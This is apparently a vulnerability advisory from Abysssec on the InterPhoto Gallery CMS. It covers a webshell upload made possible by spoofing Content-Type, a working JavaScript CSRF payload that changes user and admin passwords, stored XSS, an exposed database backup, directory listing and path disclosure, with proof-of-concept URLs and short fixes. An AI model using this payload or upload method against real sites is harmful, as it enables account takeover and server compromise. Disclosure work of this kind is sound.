Abysssec Research

1) Advisory information

Title	**: InterPhoto Gallery Multiple Remote Vulnerabilities**
Affected	**: <= 2.4.0**
Discovery	**: www.abysssec.com**
Vendor	**: http://www.ifsoft.net/default.aspx**
Impact	**: Ciritical**
Contact	**: shahin [at] abysssec.com , info [at] abysssec.com**
Twitter	**: @abysssec**

2) Vulnerability Information

Class

1- **Upload arbitrary file**
2- **Persistent XSRF**
3- **Information disclosure**
4- **Persistent XSS**
5- **Path disclosure**

Impact

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
Also it's possible to upload a malicious script and run arbitrary command on target server.

Remotely Exploitable

Yes

Locally Exploitable

No

3) Vulnerabilities detail

1- Arbitrary Upload file:

InterPhoto allows register users uploading Images.

InterPhoto's User can upload PHP webshell with this way:

Login in the user mode, go to "Publish Image" .select file for upload, write other field Required and submit. By Tamper Data tools (web scarab, Paros ...) Trap Request. And change "Content-Type" field's value to "image/jpeg".

```
line 143-150 :
...
if ($action == 'insertimage')
        {
                $imagefile       = $_FILES['imagefile'];
                $valid_image_types = array('image/pjpeg',       'image/jpeg', 'image/jpg');
                $uploaddir = BASEPATH.'MyWebsiteImages/';
                @chmod($uploaddir,0777); // it will chmod upload dir  for execute as well  !
...
as you can see in flow type it's possible to spoof jpeg request .

ln 43-56
...
if ($image_size[0] > 760 || $image_size[1] > 760) {
                if (@rename($uploaddir.$file_path.'/'.$imagename, $uploaddir.$file_path.'/original/'.$imagename)) {
                        CreateImageFile($uploaddir.$file_path.'/original/'.$imagename,
$uploaddir.$file_path."/760x760/".$imagename,'760');
                        CreateImageFile($uploaddir.$file_path.'/760x760/'.$imagename,
$uploaddir.$file_path."/160x160/".$imagename,'160');
                        CreateImageFile($uploaddir.$file_path.'/160x160/'.$imagename,
$uploaddir.$file_path."/80x80/".$imagename,'80');
                        CreateImageFile($uploaddir.$file_path.'/80x80/'.$imagename,
$uploaddir.$file_path."/32x32/".$imagename,'32');
                }
        }else{
                if (@rename($uploaddir.$file_path.'/'.$imagename, $uploaddir.$file_path.'/760x760/'.$imagename)) {
                        CreateImageFile($uploaddir.$file_path.'/760x760/'.$imagename,
$uploaddir.$file_path."/160x160/".$imagename,'160');
                        CreateImageFile($uploaddir.$file_path.'/160x160/'.$imagename,
$uploaddir.$file_path."/80x80/".$imagename,'80');
                        CreateImageFile($uploaddir.$file_path.'/80x80/'.$imagename,
$uploaddir.$file_path."/32x32/".$imagename,'32');
                }
...
```

Refer to size of file you can find your shell in following directory:

```
http://site.com/InterPhoto/MyWebsiteImages/
```

2- Persistent XSRFs:

Several XSRF existed in this CMS, For Example:Delete user's Image, Change Users&Admin password, Change User&Admin Info,...

Like number 1 ,go to Publish Image and select Edit HTML,and write this code:

Now this PoC is for Changing Users&Admin password:

```
<script>
function creat_request(path,parameter,method){
method = method || "post";
var remote_dive = document.createElement('div');
remote_dive.id = 'Div_id';
var style = 'border:0;width:0;height:0;';
remote_dive.innerHTML = "<iframe name='iframename' id='iframeid'
style='"+style+"'></iframe>";
document.body.appendChild(remote_dive);
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
form.setAttribute("target", "iframename");
for(var key in parameter)
{
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", parameter[key]);
    form.appendChild(hiddenField);
}
document.body.appendChild(form);
form.submit();
}

creat_request('http://192.168.101.4/interphoto/mydesk.edit.php',{'action':'updateuser','password':'
123456','repassword':'123456','email':'csrf@abysssec.com','userfullname':'','usercompany':'','useradd
ress':'','userpostcode':'','usertel':'','userfax':'','useronline':'','userwebsite':''});
</script>
```

And submit. When any user see this section on Homepage, Delete first image that her/his Uploaded.

3- Stored XSS:

Login in the user mode, go to "Publish Image" .Then in "Image Description:" section, select Edit HTML icon, and write java tag script. (Also write other field required) and submit. For see the XSS go to Home page, and click last update image for see. Because of InterPhoto used nicedit for Image Description you can see script execution.

4- Information disclosure:

Backup Database Is Downloadable:

+POC:

http://site.com/InterPhoto/admin/backup/

+Fix:

Restrict access to this directory by .htaccess file.

5.2)Directory listing :

+POC:

http://site.com/InterPhoto/admin/backup/
http://site.com/InterPhoto/MyWebsiteImages
http://site.com/InterPhoto/UploadImages/
http://site.com/InterPhoto/library/
http://site.com/InterPhoto/languages/
http://site.com/InterPhoto/includes/
http://site.com/InterPhoto/config/
http://site.com/InterPhoto/templates/
http://site.com/InterPhoto/upgrade/
http://site.com/InterPhoto/admin/includes/
http://site.com/InterPhoto/admin/templates/ and ....

+Fix:

Create index.html in all folders.

5-Path Disclosure:

InterPhoto CMS has used Smarty library (Template Engine).

+Code:for example:class Smarty undefined.

/library/smarty/libs/Smarty_Compiler.class.php[line 35]
class Smarty_Compiler extends Smarty {
...

+POC:

http://site.com/InterPhoto/library/smarty/libs/Smarty_Compiler.class.php
http://site.com/InterPhoto/library/smarty/libs/plugins/modifier.date_format.php
http://site.com/InterPhoto/library/smarty/templates_c/[all files.]

+Fix:

Add frist page :

if(class_exists('Smarty')){

Add last page:

}